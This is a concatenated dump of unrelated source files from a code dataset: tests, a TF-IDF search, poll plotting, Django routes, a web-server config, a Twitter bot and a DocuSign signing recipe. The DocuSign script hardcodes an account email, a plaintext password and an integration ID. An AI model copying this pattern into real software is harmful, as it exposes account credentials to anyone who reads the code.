None\n\n\n\n","sub_path":"airmass/db/mongo/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"106346379","text":"\"\"\"This file tests the VertexParticleGenerator class.\n\nNote: Results are only tested for correct shape and reproducibility. Their\nactual values are not tested for correctness!\n\"\"\"\nimport pytest\nfrom numpy.random import default_rng\n\nfrom project_a5.simulation.particle import CascadeParticle\nfrom project_a5.simulation.generator import VertexParticleGenerator\n\n\ndef test_vertex_particle_generator_creation():\n \"\"\"Test the vertex particle generator instantiation\n \"\"\"\n e_min = 10\n e_max = 1000\n gamma = 2\n x_max = 23.\n generator = VertexParticleGenerator(e_min, e_max, gamma, x_max=x_max)\n\n assert generator.name == 'VertexParticleGenerator'\n assert generator.e_min == e_min\n assert generator.e_max == e_max\n assert generator.particle_class == CascadeParticle\n assert generator.direction is None\n assert generator.x_min == 0.\n assert generator.x_max == x_max\n assert generator.y_min == 0.\n assert generator.y_max == 100.\n\n\ndef test_vertex_particle_generator_wrong_vertex_limits():\n \"\"\"Test if exceptions are thrown if wrong vertex limits are provided.\n \"\"\"\n e_min = 10\n e_max = 1000\n gamma = 2\n x_max = 23.\n\n with pytest.raises(AssertionError):\n VertexParticleGenerator(\n e_min, e_max, gamma,\n x_max=x_max, x_min=x_max*2\n )\n\n with pytest.raises(AssertionError):\n VertexParticleGenerator(\n e_min, e_max, gamma,\n y_max=x_max, y_min=x_max*2\n )\n\n # setting lower and upper limite to the same value should work\n VertexParticleGenerator(\n e_min, e_max, gamma,\n x_max=4, x_min=4, y_min=6, y_max=6\n )\n\n\ndef test_generate_same_parameters():\n \"\"\"Test particle generation with constant parameters.\n \"\"\"\n num = 4\n e_min = 10\n e_max = 10\n x_lim = 12.\n y_lim = 1337.\n gamma = 2\n direction = .4\n rg = default_rng()\n\n generator = VertexParticleGenerator(\n e_min, e_max, gamma, direction,\n x_max=x_lim, x_min=x_lim, y_min=y_lim, y_max=y_lim,\n name='CascadeSource')\n\n particles = generator.generate(num, rg)\n\n assert len(particles) == num\n\n for i, particle in enumerate(particles):\n assert particle.name == 'CascadeSource'\n assert particle.particle_id == i\n assert particle.energy == e_min\n assert particle.direction == direction\n assert particle.x == x_lim\n assert particle.y == y_lim\n assert isinstance(particle, CascadeParticle)\n\n\ndef test_generate():\n \"\"\"Test particle generation reproducibility\n \"\"\"\n num = 4\n e_min = 10\n e_max = 1000\n gamma = 2\n direction = None\n seed = 1337\n\n generator = VertexParticleGenerator(e_min, e_max, gamma, direction)\n\n particles = generator.generate(num, default_rng(seed))\n particles_diff = generator.generate(num, default_rng(seed + 1))\n particles_same = generator.generate(num, default_rng(seed))\n\n assert len(particles) == num\n\n for particle, particle_diff, particle_same in zip(particles,\n particles_diff,\n particles_same):\n assert particle == particle_same\n assert not particle == particle_diff\n assert particle != particle_diff\n\n\ndef test_particle_ids():\n \"\"\"Test particle identification counter.\n \"\"\"\n num_1 = 4\n num_2 = 7\n e_min = 10\n e_max = 1000\n gamma = 2\n direction = None\n generator = VertexParticleGenerator(e_min, e_max, gamma, direction)\n\n # create num_1 particles\n particles = generator.generate(num_1, default_rng(0))\n\n for i, particle in enumerate(particles):\n assert particle.particle_id == i\n\n # now create num_2 more particles\n particles = generator.generate(num_2, default_rng(0))\n\n # The particle ids should have not been reset\n for i, particle in enumerate(particles):\n assert particle.particle_id == i + num_1\n","sub_path":"tests/simulation/generator/test_vertex_generator.py","file_name":"test_vertex_generator.py","file_ext":"py","file_size_in_byte":3962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"252908662","text":"\n# coding: utf-8\n\n\nimport Data_Work as dw\nfrom math import *\n\nprint(dw.newsgroups_train.target.shape)\n\ndef newquery(query):\n \"\"\"Returns top 10 matching document indexes in a list to the query.\"\"\"\n proc_query = dw.basic(query)\n print(proc_query)\n if(len(proc_query[0])==0):\n return [0,1,2,3,4,5,6,7,8,9]\n\n qtdm = {}\n for i in proc_query[0]:\n if i not in qtdm:\n qtdm[i]= dw.defaultlist([0])\n qtdm[i] = 1\n \n else:\n qtdm[i] = qtdm[i] + 1\n #print(qtdm)\n \n\n import numpy as np\n def tfidf(tdm,data):\n docs_vect = []\n vals = list(tdm.values())\n for docid in range(len(data)):\n vectmap = {}\n vectmap.clear()\n sq = 0\n for a in vals:\n sq = sq + pow(a,2)\n sq = sqrt(sq)\n if(sq==0):\n return [0,1,2,3,4,5,6,7,8,9]\n \n for word in data[docid]:\n tf = tdm[word]/sq\n if word in dw.idfs:\n idf = dw.idfs[word]\n else:\n idf = 0\n \n tfidf = tf * idf\n vectmap[word] = tfidf\n docs_vect.append(vectmap)\n return docs_vect\n query_vect = tfidf(qtdm,proc_query)\n print(query_vect)\n qlist = np.array(list(query_vect[0].values()))\n query_norm = sqrt(np.sum(qlist**2))\n \n#==============================================================================\n# Stores all Cosine Similarities in scores. Uses Heap to avoid sorting overhead to get top 10\n#==============================================================================\n import heapq\n scores = []\n \n for ech in dw.docs_vect:\n med_sum = 0\n ech_val = np.array(list(ech.values()))\n doc_norm = sqrt(np.sum(ech_val**2))\n b = doc_norm * query_norm\n if(b==0):\n b=1\n for i in query_vect[0]:\n if i in ech:\n a = ech[i]*query_vect[0][i]\n else:\n a = 0\n med_sum = med_sum + a\n scores.append(med_sum/b)\n \n scores = np.array(scores)\n #print(scores) \n ans = heapq.nlargest(10, range(len(scores)), scores.take)#https://stackoverflow.com/questions/6910641/how-to-get-indices-of-n-maximum-values-in-a-numpy-array\n \n print(ans,\"|\")\n \n return ans\n \n\n\n\n","sub_path":"src/Query.py","file_name":"Query.py","file_ext":"py","file_size_in_byte":2424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"485705525","text":"import pandas as pd\nimport datetime as dt\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport methods as m\n\n\n# when normalised data is given, plot both polling and twitter data. Otherwise only twitter.\ndef plottwitter(df, title):\n cols = (\"number_of_tweets_remain\", \"number_of_tweets_leave\")\n line1, = plt.plot(df[cols[0]], label=\"Remain\",color='blue')\n line2, = plt.plot(df[cols[1]], label=\"Leave\",color='red')\n plt.yscale('log')\n plt.axvline(x=dt.datetime(2016, 6, 23), label=\"Brexit vote\", color='slategray', linestyle='-.')\n\n handles = [line1, line2, ]\n plt.xlabel(\"Date\")\n plt.ylabel(\"# of tweets\")\n # plt.title(title)\n plt.legend(handles=handles)\n plt.show()\n\n\n# when normalised data is given, plot both polling and twitter data. Otherwise only twitter.\ndef plotpolls(df, raw=False):\n if (raw):\n line1, = plt.plot(df['Remain_raw'], label=\"Remain\",color='blue')\n line2, = plt.plot(df['Leave_raw'], label=\"Leave\",color='red')\n line3, = plt.plot(df['WNV or DK'], label=\"Undecided\",color='grey')\n\n\n handles = [line1, line2, line3]\n else:\n line1, = plt.plot(df['Remain'], label=\"Remain\", color='blue')\n line2, = plt.plot(df['Leave'], label=\"Leave\", color='red')\n handles = [line1, line2]\n\n\n plt.axvline(x=dt.datetime(2016, 6, 23), label=\"Brexit vote\", color='slategray', linestyle='-.')\n\n plt.xlabel(\"Date\")\n plt.ylabel(\"Support in %\")\n plt.legend(handles=handles)\n plt.show()\n\n\ndef plottwitternorm(df, title):\n col_list = [\"number_of_tweets_remain\", \"number_of_tweets_leave\"]\n cutoff = 500\n x = df[df[col_list].sum(axis=1) > cutoff]\n\n cols = (\"remain_perc\", \"leave_perc\")\n\n line1, = plt.plot(df[cols[0]], label=\"Support Remain\", color='blue',linestyle='-')\n line2, = plt.plot(df[cols[1]], label=\"Support Leave\", color='red',linestyle='-')\n plt.xlim([kalmanData.index[0],endDate+dt.timedelta(days=5)])\n plt.axvline(x=dt.datetime(2016, 6, 23), label=\"Brexit vote\", color='slategray', linestyle='-.')\n\n plt.xlabel(\"Date\")\n plt.ylabel(\"Support in %\")\n handles = [line1, line2,]\n\n plt.legend(handles=handles)\n plt.show()\n\n fig, ax = plt.subplots()\n line1, = ax.plot(x[cols[0]], label=\"Support Remain\", color='blue', linestyle='-')\n line2, = ax.plot(x[cols[1]], label=\"Support Leave\", color='red', linestyle='-')\n plt.axvline(x=dt.datetime(2016, 6, 23), label=\"Brexit vote\", color='slategray', linestyle='-.')\n ax.set_xlabel(\"Date\")\n plt.title(\"more than 500\")\n ax.set_ylabel(\"Support in %\")\n plt.xlim([kalmanData.index[0],endDate+dt.timedelta(days=5)])\n\n\n handles = [line1, line2]\n ax.legend(handles=handles)\n plt.show()\n\n\n# MAIN\ndef plotRollingPolls(p, j):\n Y1 = p['Remain'].rolling(j, center=None).mean()\n Y2 = p['Leave'].rolling(j, center=None).mean()\n line3, = plt.plot(Y1, linestyle='--', alpha=0.4,\n label=\"Remain polled\")\n line4, = plt.plot(Y2, linestyle='--', alpha=0.4,\n label=\"Leave polled\")\n handles = [line3, line4]\n plt.title(\"Rolling average with j = \" + str(j))\n plt.legend(handles=handles)\n plt.show()\n\n\nif __name__ == '__main__':\n m.setFonts('timeseries')\n\n startTrain = 52\n look_back = 0\n\n train_percent = 0.8\n test_percent = 0.20\n accumulate = False\n load = False\n\n ### Load in data and normalise\n twitterColumns = [0, 2]\n pollColumns = [1, 3, 4, 5, 6, 7, 8, 9] # avdate, Remain (norm), Leave (norm)\n lh, rh, p = m.getPanda(twitterColumns, pollColumns)\n h_agg, p_agg, p_var = m.aggregate(lh, rh, p, splitPolls=False, interpolate=True)\n\n kalmanData = m.getKalmanData(p_agg, h_agg)\n kalmanData.to_csv(\"kalmandata.csv\")\n startDate = kalmanData.index[0] + dt.timedelta(days=startTrain + look_back)\n endDate = kalmanData.index[-1]\n\n ### PLOTS ###\n plottwitter(h_agg,\"Twitter data\")\n plottwitternorm(h_agg,\"Twitter data normalised by day\")\n plotpolls(p_agg.loc[startDate:endDate],False)\n plotpolls(p)\n plotRollingPolls(p,7)\n\n","sub_path":"dataPlotting.py","file_name":"dataPlotting.py","file_ext":"py","file_size_in_byte":4049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"425844627","text":"# encoding: utf-8\nfrom django.conf.urls import include, url\nfrom mobile import views, tests\n\nerror = [\n url(r'^handler_login/$', views.handler_login)\n]\n\nuser = [\n url(r'^signup/$', views.user_signup),\n url(r'^login/$', views.user_login),\n url(r'^logout/$', views.user_logout),\n url(r'^profile/$', views.user_profile),\n url(r'^profile/set/$', views.user_profile_set),\n url(r'^profile/headimg/$', views.user_profile_headimg),\n url(r'^profile/chat/$', views.user_profile_chat),\n url(r'^list/product/$', views.user_list_product),\n url(r'^list/collect/$', views.user_list_collect),\n url(r'^list/inneed/$', views.user_list_inneed),\n url(r'^list/order/rent/$', views.user_list_order_rent),\n url(r'^list/order/borrow/$', views.user_list_order_borrow),\n]\n\nproduct = [\n url(r'^release/$', views.product_release),\n url(r'^delete/$', views.product_delete),\n url(r'^info/$', views.product_info),\n url(r'^list/$', views.product_list),\n url(r'^index/$', views.product_index),\n url(r'^search/$', views.product_search),\n url(r'^collect/$', views.product_collect),\n url(r'^uncollect/$', views.product_uncollect),\n url(r'^thumbup/$', views.product_thumbup),\n url(r'^unthumbup/$', views.product_unthumbup),\n]\n\norder = [\n url(r'^info/$', views.order_info),\n url(r'^request/$', views.order_request),\n url(r'^renter/accept/$', views.order_renter_accept),\n url(r'^borrower/cancel/$', views.order_borrower_cancel),\n url(r'^renter/cancel/$', views.order_renter_cancel),\n url(r'^state/update/$', views.order_state_update),\n]\n\ninneed = [\n url(r'^release/$', views.inneed_release),\n url(r'^delete/$', views.inneed_delete),\n url(r'^info/$', views.inneed_info),\n url(r'^list/$', views.inneed_list),\n]\n\nsms = [\n url(r'^send/$', views.sms_send),\n]\n\ntest = [\n url(r'^login/$', tests.login),\n url(r'^whoami/$', tests.whoami),\n]\n\nurlpatterns = [\n url(r'^user/', include(user)),\n url(r'^product/', include(product)),\n url(r'^order/', include(order)),\n url(r'^inneed/', include(inneed)),\n url(r'^sms/', include(sms)),\n url(r'^error/', include(error)),\n url(r'^test/', include(test)),\n]\n","sub_path":"mobile/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"389856534","text":"import os\r\nfrom functions import iniToJson, prettyPrint\r\n\r\nif os.path.isdir(\",/temp\"):\r\n os.mkdir(\"./temp\")\r\n\r\nif not os.path.isfile(\"./pws_config.ini\"):\r\n with open(\"./pws_config.ini\", 'w', encoding='utf-8') as f:\r\n f.write(\"; PyWebServer Config\\n\")\r\n f.write(\"\"\"\r\n[setting]\r\nServerPath={0}\r\nInstallPath={1}\r\nip=(\"\")\r\nport=80\r\nssl=false\r\nssljump-domain=localhost\r\n\r\n[config]\r\nlanguage-wrong-error=false\r\nranges-download=true\r\ndefault-page=('index.html','index.htm','index.py')\r\npython=true\r\nraise-error=true\r\ntimeout=5\r\nkeep-alive-max=20\r\ncachesize=409600\r\nsameip-request-count=5\r\nserver-status=NORMAL\r\nerrorpage-path=./ErrorPages/error.html\r\nssl-path=('cert.crt','key.key','ca.crt')\r\nssl-password=\r\nssl-doshakehand=true\r\nmaxsize-for-etag = (1024*1024*100)\r\nenable-plugin=true\r\nsupport-protocols=([\"spdy/3.1\", \"http/1.1\"])\r\nencoding=(['gzip', 'identity'])\r\n\r\n[black_list]\r\nblacklist=\r\n\r\n[bind_domains]\r\ndomains=\r\n\r\n[http_errorcodes]\r\n503=('Server Unavailable','Server overload or maintenance in progress. Please wait for administrator to maintain or visit later.')\r\n404=('Not Found','Page is not found.')\r\n406=('Language Error','The language is not supported by the server.')\r\nsafeguard=('Server Safeuard','The server is being maintained.')\r\n\r\n[headers]\r\n.(flv|gif|jpg|jpeg|png|ico|swf)$=('Cache-control', 'max-age=2592000')\r\n\"\"\".format(os.path.abspath(\"./Website\"), os.path.abspath(\"./\")))\r\n\r\nopts = iniToJson(\"./pws_config.ini\")\r\n\r\n#Status:\r\nSAFEGUARD = 0 #维护\r\nNORMAL = 1 #正常\r\n\r\nconfig = {}\r\nsetting = {}\r\nhttp_errorcodes = {}\r\n\r\n#[setting]内容会定义于全局变量\r\nfor i in opts['setting'].keys():\r\n globals()[i] = opts['setting'][i]\r\n setting[i] = opts['setting'][i]\r\n\r\nfor i in opts['config']:\r\n#[config]内容会定义于dict config\r\n config[i] = opts['config'][i]\r\n\r\n\r\nfor i in opts['http_errorcodes']:\r\n#[http_errorcodes]会定义于dict http_errorcodes\r\n http_errorcodes[i] = opts['http_errorcodes'][i]\r\n\r\n\r\nblack_list = [] #IP黑名单\r\nbind_domains = [] #绑定的域名\r\n\r\n\r\nERRPagePath = \"./ErrorPages/error.html\"\r\nERRPageStr = open(ERRPagePath,'r').read()\r\nERRPage = lambda:ERRPageStr\r\ndef __printContent():\r\n import json\r\n print(json.dumps(opts, sort_keys=True, indent=4, separators=(',', ':')))\r\n print(config)\r\n\r\n#__printContent()\r\n","sub_path":"PyWebServer/server_config.py","file_name":"server_config.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"515698541","text":"n, y = map(int, input().split())\n\nfor i in range(n+1):\n m = n - i# 残り\n for j in range(m+1):\n k = m - j\n price = i*10000 + j*5000 + k*1000\n if y == price:\n print(i, j, k)\n exit()\nelse:\n print(-1,-1,-1)\n","sub_path":"ABC/085/py/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"370787325","text":"import string\n\njsonDic = {}\nmegaLine = ''\n\nwith open('theText.txt', 'rt') as toConvert:\n for line in toConvert:\n megaLine += ' ' + line\n \nexclude = set(string.punctuation)\n#megaLine = ''.join(character for character in megaLine if character not in exclude)\nfor x in exclude:\n megaLine = megaLine.replace(x, ' ')\n\n#for i in range(0, len(megaLine) - 1):\n# print(megaLine[i])\nwith open('test.txt', 'wt') as test:\n test.writelines(megaLine)","sub_path":"textParsing/cleanText.py","file_name":"cleanText.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"578459412","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom django.conf.urls.static import static\nfrom django.conf import settings\nfrom funnel import views\n\n\nurlpatterns = patterns('',\n # Examples:\n url(r'^admin/', include(admin.site.urls)),\n\t(r'^$', views.home),\n\turl(r'^register/$', views.register, name='register'),\n\turl(r'^login/$', views.user_login, name='login'),\n\turl(r'^logout/$', views.user_logout, name='logout'),\n\turl(r'^create/$', views.add_feed),\n\turl(r'^mon/$', views.mon),\n\turl(r'^(?P<tier_i>\\w+)/$', views.index),\n\turl(r'^(?P<tier_i>\\w+)/(?P<tier_ii>\\w+)/$', views.index),\n\turl(r'^(?P<tier_i>\\w+)/(?P<tier_ii>\\w+)/(?P<tier_iii>\\w+)/$', views.index),\n\turl(r'^(?P<tier_i>\\w+)/(?P<tier_ii>\\w+)/(?P<tier_iii>\\w+)/(?P<username>\\w+)/$', views.index),\n\turl(r'^(?P<tier_i>\\w+)/(?P<tier_ii>\\w+)/(?P<tier_iii>\\w+)/(?P<username>\\w+)/(?P<social_media_type>\\w+)/$', views.index),\n) + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)","sub_path":"myproject/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"625642171","text":"# \"John Bot\" Source (generic version)\n# A Twitter bot by wizardidiot\n# Tweets a source text file one word at a time.\n\nimport tweepy\nimport time\n\n# Setup time!\nwaitInMins = 120 # Time between tweets\nwordSourcePath = \"myTextFile.txt\" # path to text file with words to be tweeted.\n\n# Twitter App keys from apps.twitter.com\nconsumerKey = ''\nconsumerSecret = ''\naccessKey = ''\naccessSecret = ''\n\n# You don't need to change this one.\ncount = 0\n\n# Log into Twitter w/ OAuth\n\nprint(\"Bot Accessing Twitter\")\n\nauth = tweepy.OAuthHandler(consumerKey, consumerSecret)\nauth.set_access_token(accessKey, accessSecret)\napi = tweepy.API(auth)\n\nprint(\"Access successful. Priming text file contents...\")\n\n# Open file, split into lines then words, tweet each, then wait.\n\nwordSource = open(wordSourcePath, 'r')\n\nprint(\"Begin tweet cycle.\")\n\ntry:\n for line in wordSource:\n words = line.split()\n for word in words:\n api.update_status(word) # Tweet!\n count += 1\n print(\"Tweeted: \" + word + \" (Word Number: \" + str(count) + \")\")\n print(\"Waiting for \" + str(waitInMins) + \" mins.\\n\")\n time.sleep(waitInMins * 60)\nexcept KeyboardInterrupt:\n print(\"Interrupt accepted. Shutting down.\")\n wordSource.close()\n exit()\n\nprint(\"It's finally over. Closing speech file.\")\n\nwordSource.close()\n\nprint(\"Tata!\")\n","sub_path":"whoIsJohnBot.py","file_name":"whoIsJohnBot.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"631658627","text":"# DocuSign API Walkthrough 04 (PYTHON) - Add Signature Request to Document and Send\n#\n# Set encoding to utf8. See http://stackoverflow.com/a/21190382/64904 \nimport sys; reload(sys); sys.setdefaultencoding('utf8')\n\nimport json, socket, certifi, requests, os, base64, re, urllib, shutil\n# See http://requests.readthedocs.org/ for information on the requests library\n# See https://urllib3.readthedocs.org/en/latest/security.html for info on making secure https calls\n# in particular, run pip install certifi periodically to pull in the latest cert bundle\n\nfrom lib_master_python import ds_recipe_lib\nfrom flask import request\nfrom bs4 import BeautifulSoup\n\n# Enter your info here\n# Or set environment variables DS_USER_EMAIL, DS_USER_PW, and DS_INTEGRATION_ID\n # Globals:\nds_user_email = \"tvdesai@eng.ucsd.edu\"\nds_user_pw = \"abcd@12345\"\nds_integration_id = \"2b6cd4f1-36d6-4f1a-b188-420c1c76d9d0\"\nds_account_id = False\ndoc_document_path = \"app/static/sample_documents_master/NDA.pdf\"\ndoc_document_name = \"NDA.pdf\"\nwebhook_path = \"/webhook\"\nds_signer1_email = \"***\"\nds_signer1_name = \"***\"\nds_cc1_email = \"***\"\nds_cc1_name = \"***\"\nxml_file_dir = \"app/files/\"\nreadme = \"ReadMe.txt\"\n\ndef send():\n global ds_account_id, ds_signer1_email, ds_signer1_name, ds_cc1_email, ds_cc1_name\n msg = ds_recipe_lib.init(ds_user_email, ds_user_pw, ds_integration_id, ds_account_id)\n if (msg != None):\n return {'ok': False, 'msg': msg}\n\n # Ready...\n # Possible create some fake people\n ds_signer1_email = ds_recipe_lib.get_signer_email(ds_signer1_email)\n ds_signer1_name = ds_recipe_lib.get_signer_name(ds_signer1_name)\n ds_cc1_email = ds_recipe_lib.get_signer_email(ds_cc1_email)\n ds_cc1_name = ds_recipe_lib.get_signer_name(ds_cc1_name)\n\n # STEP 1 - Login\n r = ds_recipe_lib.login()\n if (not r[\"ok\"]):\n return r\n ds_account_id = ds_recipe_lib.ds_account_id \n\n #\n # STEP 2 - Create and send envelope with eventNotification\n #\n webhook_url = ds_recipe_lib.get_base_url() + webhook_path\n event_notification = {\"url\": webhook_url,\n \"loggingEnabled\": \"true\", # The api wants strings for true/false\n \"requireAcknowledgment\": \"true\",\n \"useSoapInterface\": \"false\",\n \"includeCertificateWithSoap\": \"false\",\n \"signMessageWithX509Cert\": \"false\",\n \"includeDocuments\": \"true\",\n \"includeEnvelopeVoidReason\": \"true\",\n \"includeTimeZone\": \"true\",\n \"includeSenderAccountAsCustomField\": \"true\",\n \"includeDocumentFields\": \"true\",\n \"includeCertificateOfCompletion\": \"true\",\n \"envelopeEvents\": [ # for this recipe, we're requesting notifications\n # for all envelope and recipient events\n {\"envelopeEventStatusCode\": \"sent\"},\n {\"envelopeEventStatusCode\": \"delivered\"},\n {\"envelopeEventStatusCode\": \"completed\"},\n {\"envelopeEventStatusCode\": \"declined\"},\n {\"envelopeEventStatusCode\": \"voided\"}],\n \"recipientEvents\": [\n {\"recipientEventStatusCode\": \"Sent\"},\n {\"recipientEventStatusCode\": \"Delivered\"},\n {\"recipientEventStatusCode\": \"Completed\"},\n {\"recipientEventStatusCode\": \"Declined\"},\n {\"recipientEventStatusCode\": \"AuthenticationFailed\"},\n {\"recipientEventStatusCode\": \"AutoResponded\"}]\n }\n\n # construct the body of the request\n file_contents = open(doc_document_path, \"rb\").read()\n\n # Our goal: provide an email subject that is most meaningful to the recipients\n # The regex strips the 3 or 4 character extension from the filename.\n subject = \"Please sign the \" + re.sub('/\\\\.[^.\\\\s]{3,4}$/', '', doc_document_name) + \" document\"\n # File contents provided here instead of a multi-part request\n docs = [{\"documentId\": \"1\", \n \"name\": doc_document_name,\n \"documentBase64\": base64.b64encode(file_contents)}]\n \n signers = [{\"email\": ds_signer1_email,\n \"name\": ds_signer1_name,\n \"recipientId\": \"1\",\n \"routingOrder\": \"1\",\n \"tabs\": nda_fields()}]\n \n ccs = [{\"email\": ds_cc1_email,\n \"name\": ds_cc1_name,\n \"recipientId\": \"2\",\n \"routingOrder\": \"2\"}]\n \n data = {\"emailSubject\": subject,\n \"documents\": docs, \n \"recipients\": {\"signers\": signers, \"carbonCopies\": ccs},\n \"eventNotification\": event_notification,\n \"status\": \"sent\"\n }\n \n # append \"/envelopes\" to the baseUrl and use in the request\n url = ds_recipe_lib.ds_base_url + \"/envelopes\"\n try:\n r = requests.post(url, headers=ds_recipe_lib.ds_headers, json=data)\n except requests.exceptions.RequestException as e:\n return {'ok': False, 'msg': \"Error calling Envelopes:create: \" + str(e)}\n \n status = r.status_code\n if (status != 201): \n return ({'ok': False, 'msg': \"Error calling DocuSign Envelopes:create, status is: \" + str(status)})\n\n data = r.json()\n envelope_id = data['envelopeId']\n setup_output_dir(envelope_id)\n \n # Instructions for reading the email\n html = \"<h2>Signature request sent!</h2>\" + \\\n \"<p>Envelope ID: \" + envelope_id + \"</p>\" + \\\n \"<p>Signer email: \" + ds_signer1_email + \"</p>\" + \\\n \"<p>Signer: \" + ds_signer1_name + \"</p>\" + \\\n \"<p>CC: \" + ds_cc1_name + \"</p>\" + \\\n \"<h2>Next steps</h2>\" + \\\n \"<h3>1. View the incoming notifications and documents</h3>\" + \\\n \"<p><a href='\" + ds_recipe_lib.get_base_url() + \"/files/\" + envelope_id_to_dir(envelope_id) + \"'\" + \\\n \" class='btn btn-primary' role='button' target='_blank' style='margin-right:1.5em;'>\" + \\\n \"View Notification Files</a> (A new tab/window will be used.)</p>\" + \\\n \"<h3>2. Respond to the Signature Request</h3>\"\n\n ds_signer1_email_access = ds_recipe_lib.get_temp_email_access(ds_signer1_email)\n if (ds_signer1_email_access):\n # A temp account was used for the email\n html += \"<p>Respond to the request via your mobile phone by using the QR code: </p>\" + \\\n \"<p>\" + ds_recipe_lib.get_temp_email_access_qrcode(ds_signer1_email_access) + \"</p>\" + \\\n \"<p> or via <a target='_blank' href='\" + ds_signer1_email_access + \"'>your web browser.</a></p>\"\n else:\n # A regular email account was used\n html += \"<p>Respond to the request via your mobile phone or other mail tool.</p>\" + \\\n \"<p>The email was sent to \" + ds_signer1_name + \" <\" + ds_signer1_email + \"></p>\"\n\n html += \"<p>Webhook url: \" + webhook_url + \"</p>\"\n\n return {\"ok\": True,\n \"envelope_id\": envelope_id,\n \"ds_signer1_email\": ds_signer1_email,\n \"ds_signer1_name\": ds_signer1_name,\n \"ds_signer1_access\": ds_signer1_email_access,\n \"ds_signer1_qr\": ds_signer1_email,\n \"ds_cc1_email\": ds_cc1_email,\n \"ds_cc1_name\": ds_cc1_name,\n \"webhook_url\": webhook_url,\n \"html\": html\n }\n\n\n########################################################################\n########################################################################\ndef create_envelope():\n global ds_account_id, ds_signer1_email, ds_signer1_name, ds_cc1_email, ds_cc1_name\n msg = ds_recipe_lib.init(ds_user_email, ds_user_pw, ds_integration_id, ds_account_id)\n if (msg != None):\n return {'ok': False, 'msg': msg}\n\n # Ready...\n # Possible create some fake people\n ds_signer1_email = \"abcd@mailinator.com\" #ds_recipe_lib.get_signer_email(ds_signer1_email)\n ds_signer1_name = ds_recipe_lib.get_signer_name(ds_signer1_name)\n ds_cc1_email = ds_recipe_lib.get_signer_email(ds_cc1_email)\n ds_cc1_name = ds_recipe_lib.get_signer_name(ds_cc1_name)\n\n # STEP 1 - Login\n r = ds_recipe_lib.login()\n if (not r[\"ok\"]):\n return r\n ds_account_id = ds_recipe_lib.ds_account_id \n\n #\n # STEP 2 - Create and send envelope with eventNotification\n #\n webhook_url = ds_recipe_lib.get_base_url() + webhook_path\n event_notification = {\"url\": webhook_url,\n \"loggingEnabled\": \"true\", # The api wants strings for true/false\n \"requireAcknowledgment\": \"true\",\n \"useSoapInterface\": \"false\",\n \"includeCertificateWithSoap\": \"false\",\n \"signMessageWithX509Cert\": \"false\",\n \"includeDocuments\": \"true\",\n \"includeEnvelopeVoidReason\": \"true\",\n \"includeTimeZone\": \"true\",\n \"includeSenderAccountAsCustomField\": \"true\",\n \"includeDocumentFields\": \"true\",\n \"includeCertificateOfCompletion\": \"true\",\n \"envelopeEvents\": [ # for this recipe, we're requesting notifications\n # for all envelope and recipient events\n {\"envelopeEventStatusCode\": \"sent\"},\n {\"envelopeEventStatusCode\": \"delivered\"},\n {\"envelopeEventStatusCode\": \"completed\"},\n {\"envelopeEventStatusCode\": \"declined\"},\n {\"envelopeEventStatusCode\": \"voided\"}],\n \"recipientEvents\": [\n {\"recipientEventStatusCode\": \"Sent\"},\n {\"recipientEventStatusCode\": \"Delivered\"},\n {\"recipientEventStatusCode\": \"Completed\"},\n {\"recipientEventStatusCode\": \"Declined\"},\n {\"recipientEventStatusCode\": \"AuthenticationFailed\"},\n {\"recipientEventStatusCode\": \"AutoResponded\"}]\n }\n\n # construct the body of the request\n file_contents = open(doc_document_path, \"rb\").read()\n\n # Our goal: provide an email subject that is most meaningful to the recipients\n # The regex strips the 3 or 4 character extension from the filename.\n subject = \"Please sign the \" + re.sub('/\\\\.[^.\\\\s]{3,4}$/', '', doc_document_name) + \" document\"\n # File contents provided here instead of a multi-part request\n docs = [{\"documentId\": \"1\", \n \"name\": doc_document_name,\n \"documentBase64\": base64.b64encode(file_contents)}]\n \n signers = [{\"email\": ds_signer1_email,\n \"name\": ds_signer1_name,\n \"recipientId\": \"1\",\n \"clientUserId\":\"1234\",\n \"routingOrder\": \"1\",\n \"tabs\": nda_fields()}]\n \n data = {\"emailSubject\": subject,\n \"documents\": docs, \n \"recipients\": {\"signers\": signers},\n \"eventNotification\": event_notification,\n \"status\": \"sent\"\n }\n \n # append \"/envelopes\" to the baseUrl and use in the request\n url = ds_recipe_lib.ds_base_url + \"/envelopes\"\n try:\n r = requests.post(url, headers=ds_recipe_lib.ds_headers, json=data)\n except requests.exceptions.RequestException as e:\n return {'ok': False, 'msg': \"Error calling Envelopes:create: \" + str(e)}\n \n status = r.status_code\n if (status != 201): \n return ({'ok': False, 'msg': \"Error calling DocuSign Envelopes:create, status is: \" + str(status)})\n\n data = r.json()\n envelope_id = data['envelopeId']\n setup_output_dir(envelope_id)\n \n ds_signer1_email_access = ds_recipe_lib.get_temp_email_access(ds_signer1_email)\n return {\"ok\": True,\n \"envelope_id\": envelope_id,\n \"ds_signer1_email\": ds_signer1_email,\n \"ds_signer1_name\": ds_signer1_name,\n \"ds_signer1_access\": ds_signer1_email_access,\n \"ds_signer1_qr\": ds_signer1_email,\n \"ds_cc1_email\": ds_cc1_email,\n \"ds_cc1_name\": ds_cc1_name,\n \"webhook_url\": 